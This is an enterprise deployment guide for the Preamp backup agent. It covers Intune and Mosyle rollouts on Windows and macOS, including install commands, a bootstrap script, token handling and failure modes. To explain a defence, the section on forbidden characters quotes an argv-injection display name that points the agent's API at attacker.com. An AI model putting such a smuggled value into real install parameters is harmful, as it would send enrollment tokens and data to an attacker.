← Enterprise docs

Intune & Mosyle deployment

This guide covers three deployment paths:

  1. Windows via Intune. The .msi carries three MSI properties (PREAMP_ORG_TOKEN, PREAMP_USER_EMAIL, PREAMP_USER_NAME) that the installer’s EnrollManaged Custom Action substitutes into preamp.exe enroll at install time.
  2. macOS via Intune. An Intune shell-script payload writes /etc/preamp/bootstrap.env before the .pkg installs; the .pkg postinstall consumes it.
  3. macOS via Mosyle. Same shape as Intune-on-macOS, with Mosyle’s Custom Script + Custom Pkg payloads.

All three converge on the same server-side identity contract: an email from a domain verified for your org gets attributed to a real person on the Workforce tab; everything else lands in the per-org unattributed bucket.

Prerequisites

  • Preamp admin console access (to generate an enrollment token).
  • The relevant signed package:
  • For macOS deployments via Intune or Mosyle: a Developer ID Installer certificate available for signing the PPPC .mobileconfig (neither Intune nor Mosyle signs profiles for you). See the PPPC profile guide.
  • At least one verified domain for your org under app.preamp.ai → Settings → Domains. Without it, devices still back up but land in the per-org unattributed bucket on the Workforce tab.

Windows via Intune

A complete Intune Windows rollout requires:

  1. The signed Preamp-<version>-x64.msi uploaded as a Win32 app (recommended) or Line-of-business app.
  2. An install command line with three MSI properties that carry the org token and the assigned user’s email.

The MSI is Scope="perUser"; the EnrollManaged Custom Action invokes preamp.exe enroll in the installing user’s context with the property values substituted as flags. No registry payload, no Group Policy, no separate Configuration Profile needed for enrollment.

Steps

  1. Generate an enrollment token in the Preamp admin console (https://app.preamp.ai/org/fleet/devices?tab=enrollment). Copy it immediately, the plaintext is shown only once.

  2. Add the MSI to Intune. Apps → Windows → Add → Win32 app (or Line-of-business app), upload Preamp-<version>-x64.msi.

  3. Set the install command line with the three properties:

    msiexec /i Preamp-<version>-x64.msi PREAMP_ORG_TOKEN=<token> PREAMP_USER_EMAIL=<email> PREAMP_USER_NAME="<name>" /qn
    PropertyRequiredNotes
    PREAMP_ORG_TOKENyesThe token from step 1. Hidden="yes" on the MSI property and HideTarget="yes" on the Custom Action keep it out of msiexec /l*v verbose install logs. Still appears in Intune deployment logs; rotate via app.preamp.ai → Settings → Enrollment tokens → Revoke if exposed.
    PREAMP_USER_EMAILrecommendedMust be a verified-domain address for per-person attribution. Use Intune’s user-substitution token (typically {{userprincipalname}} for Win32 app assigned-user deployments). Hidden="yes" keeps the email out of MSI logs.
    PREAMP_USER_NAMEoptionalDisplay name. Use {{username}} or similar in Intune. Hidden="yes". Quote the value with double quotes because display names commonly contain spaces.

  4. Set the assignment to the target group. For per-user attribution to work, assign to users (not devices); the Intune substitution tokens resolve to the assigned user.

  5. Verify token substitution in a test ring before broad rollout. Intune’s substitution tokens vary across tenant configurations. Treat unresolved tokens (literal {{...}} strings reaching the installer) as a configuration bug: the device either fails to enroll or lands in the unattributed bucket.

Forbidden characters in property values

For defense in depth against argv-injection (a malicious display name like evil" --api-url="http://attacker.com" could otherwise close the quoted MSI arg and inject extra flags), the agent rejects values containing double-quote, carriage-return, or line-feed in --org-token, --user-email, --user-name, or --device-name. The agent also rejects an explicit --api-url override whenever --org-token is present (the Windows argv parser strips the closing " of a quote-injection before Cobra parsing, so the per-flag check needs a second layer that catches the injected flag itself).

Legitimate display names with apostrophes, accented characters, hyphens, or parentheses are unaffected. If your Intune substitution token resolves to a value containing one of the forbidden characters, treat it as a configuration bug.

macOS via Intune

A complete Intune macOS rollout requires:

  1. A Shell script payload that writes /etc/preamp/bootstrap.env.
  2. The managed .pkg, deployed via a Line-of-business app.
  3. A signed PPPC profile granting Full Disk Access.

An optional Configuration Profile with preference domain ai.preamp tunes runtime settings (schedule, full-backup interval, allow-uninstall, custom apiUrl); not required for enrollment.

Steps

  1. Generate an enrollment token in the Preamp admin console (https://app.preamp.ai/org/fleet/devices?tab=enrollment). Copy it immediately.

  2. Add the bootstrap shell script. Devices → macOS → Shell scripts → Add. Set Run script as signed-in user: No (the script writes to /etc/preamp as root). Paste this body:

    #!/bin/bash
set -euo pipefail

TOK="REPLACE_WITH_ORG_TOKEN"
EM="REPLACE_WITH_EMAIL_VARIABLE"   # e.g. the user's primary email from Intune
NM="REPLACE_WITH_NAME_VARIABLE"    # optional display name

if [[ -z "$TOK" ]]; then
  echo "preamp bootstrap: org token is required" >&2
  exit 1
fi

mkdir -p /etc/preamp
chmod 0700 /etc/preamp

umask 077
{
  printf 'PREAMP_ORG_TOKEN=%s\n' "$TOK"
  printf 'PREAMP_USER_EMAIL=%s\n' "$EM"
  printf 'PREAMP_USER_NAME=%s\n'  "$NM"
} > /etc/preamp/bootstrap.env
chmod 0600 /etc/preamp/bootstrap.env

    Replace the three placeholder values with the token from step 1 and your Intune substitution variables for the assigned user’s email and display name. Intune for macOS does not expose substitution tokens inside shell-script payloads in the same way as the Windows MSI flow; if your tenant configuration requires it, generate per-user scripts via a Graph API workflow or use a static script per cohort.

  3. Upload the managed .pkg. Devices → macOS → Apps → Line-of-business app. Upload preamp-managed-<version>.pkg.

  4. Order the assignment. The shell script must run before the .pkg install. Intune does not expose a script→app ordering primitive directly; use either a dependency chain (assign the script to the group with Required trigger first, then assign the app with a delay), or add a file-based detection script to the LoB app that checks for the presence of /etc/preamp/bootstrap.env before installing.

  5. PPPC profile. Sign the PPPC .mobileconfig template (installers/macos/pppc-template.xml from the agent repo) with a Developer ID Installer cert; upload to Intune as a custom configuration profile. See the PPPC profile guide.

  6. (Optional) Tune runtime settings via Configuration Profile. Intune → Devices → macOS → Configuration → Preference file payload with domain ai.preamp. Keys from the managed preferences reference.

macOS via Mosyle

Mosyle mirrors the Intune-on-macOS flow:

  1. Generate an enrollment token in the Preamp admin console.

  2. Create a Custom Pkg in Mosyle for preamp-managed-<version>.pkg. In the Pre-install script field, paste the same bash body as the Intune-on-macOS step above (with the three placeholder values filled in). Mosyle’s variable substitution syntax for assigned-user attributes is %UserVariable%-shaped; consult Mosyle’s documentation for the current syntax in your tenant.

  3. Upload the signed PPPC profile as a Custom Profile.

  4. Assign all three to the same device group (Custom Pkg, PPPC profile, and any optional managed-prefs profile).

  5. (Optional) Tune runtime settings. Create a Custom Profile with preference domain ai.preamp and the keys from the managed preferences reference.

Verification

After deployment:

  • Windows: the agent appears in Settings → Apps → Installed apps as “Preamp”; the device shows up on app.preamp.ai/org/inventory/workforce under the assigned user.
  • macOS: /etc/preamp/bootstrap.env is absent (the postinstall deletes it on successful enroll). The agent appears in System Settings → Privacy & Security → Full Disk Access with a grey toggle. The device shows up under the assigned user on Workforce.
  • Both platforms: if the device lands under Unattributed devices instead of a named person, the assigned user’s email domain isn’t in the org’s verified-domains list. Add it under app.preamp.ai → Settings → Domains and retry; the next policy run re-attributes the device.

Failure modes

  • PREAMP_ORG_TOKEN empty (Windows). The EnrollManaged Custom Action is conditioned on the property being non-empty, so it doesn’t fire. The install completes; the agent is installed but unenrolled.
  • Console user is root at install time (macOS). Postinstall logs no console user; deferring enroll until next policy run and leaves the bootstrap file in place. The next policy run picks it up.
  • Enroll returns non-zero. Common causes: bad / expired / revoked org token, unresolved Intune or Mosyle substitution token reaching the installer, network failure reaching api.preamp.ai, or a forbidden character in a property value (Windows). Logs: Intune deployment report for the failure signal; %APPDATA%\Preamp\preamp.log (Windows, per-user) or the policy run log (macOS) for the actual error text. Re-running the policy after fixing the input re-attempts cleanly because preamp enroll is idempotent.
  • Successful but unattributed. Email domain isn’t verified for the org. Enroll exits zero, the device backs up normally, but it attaches to the unattributed bucket. Verify domains, re-deploy.

Uninstall

  • Windows: remove the app assignment in Intune. The MSI’s standard uninstall path removes preamp.exe, the Scheduled Task, and the per-user data tree.
  • macOS: upload preamp-uninstaller-<version>.pkg as a separate Line-of-business app (Intune) or Custom Pkg (Mosyle), assign to the devices being decommissioned. The uninstaller pkgutil --forgets itself so repeated runs are safe.

Trust note

The org token is sensitive. Surfaces where it appears:

  • Windows MSI verbose log (msiexec /l*v): redacted via Hidden="yes" on the property and HideTarget="yes" on the Custom Action.
  • preamp.exe argv (Windows): the property values appear in the substituted CLI args for the duration of the enroll call (typically sub-second). Briefly visible to any tool sampling process command lines at that moment, e.g. PowerShell (Get-CimInstance Win32_Process -Filter "name='preamp.exe'").CommandLine or Sysinternals Process Explorer. (Note: wmic is deprecated in Windows 11 and may not be available; the Get-CimInstance form is the modern equivalent.)
  • macOS shell-script payload: the token is in the script body itself, stored in your Intune or Mosyle tenant and visible to anyone with read access to the policy. Treat the policy like any other secret-bearing configuration.
  • Intune / Mosyle install logs: the token appears in your tenant’s deployment log unless you configure log filtering. Rotate the token via app.preamp.ai → Settings → Enrollment tokens → Revoke if exposed.